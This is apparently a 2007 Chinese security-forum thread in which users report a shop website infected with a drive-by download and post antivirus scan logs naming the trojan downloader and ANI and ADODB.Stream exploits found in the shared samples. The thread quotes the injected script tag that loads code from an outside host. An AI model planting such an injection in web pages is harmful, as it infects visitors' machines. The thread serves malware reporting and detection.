我正在找漏洞挂马的时候,,毒网一个

170912556

http://www.xmchenyi.com/shop/npsout_reply.php

看看~~~

170912556

<script src="http://0oooo0.cn/test.js"></script>

170912556

被插入了~

dikex

扔上相关的脚本和小马

样本密码virus

taihuxian

2007-4-19,13:59:40 [WARNING] Contains signature of the exploits EXP/Ani.Gen!
  C:\Documents and Settings\user\桌面\vip.js
2007-4-19,14:00:01 [WARNING] Is the Trojan horse TR/Agent.30208.13!
  C:\Documents and Settings\user\桌面\svchost.exe

蓝色牛仔裤

AVK 06 只查3个..

Object: svchost.exe
        Path: C:\Documents and Settings\Administrator\桌面\TEMP
        Status: Virus, file deleted
        Virus: Trojan-Downloader.Win32.Small.ege (KAV engine)
Object: vip.js
        Path: C:\Documents and Settings\Administrator\桌面\TEMP
        Status: Virus, file deleted
        Virus: Exploit.Win32.IMG-ANI.x (KAV engine)
Object: xskj.htm
        Path: C:\Documents and Settings\Administrator\桌面\TEMP
        Status: Virus, file deleted
        Virus: Exploit.ADODB.Stream.DQ (BD-Engine)
Analysis complete: 2007-4-19 14:01

The EQs

Scan performed at: 2007-4-19 14:16:37
Scanning Log
NOD32 version 2202 (20070418) NT
Command line: C:\Documents and Settings\EQ2\桌面\TEMP
Operating memory - is OK

Date: 19.4.2007  Time: 14:16:45
Anti-Stealth technology is enabled.
Scanned disks, folders and files: C:\Documents and Settings\EQ2\桌面\TEMP\
C:\Documents and Settings\EQ2\桌面\TEMP\svchost.exe - a variant of Win32/TrojanDownloader.Delf.NQX trojan
C:\Documents and Settings\EQ2\桌面\TEMP\vip.js - a variant of Win32/TrojanDownloader.Ani.Gen trojan
Number of scanned files: 7
Number of threats found: 2
Number of files cleaned: 2
Time of completion: 14:16:45 Total scanning time: 0 sec (00:00:00)

solcroft

jlennon

ffjjyy

AVAST阻止链接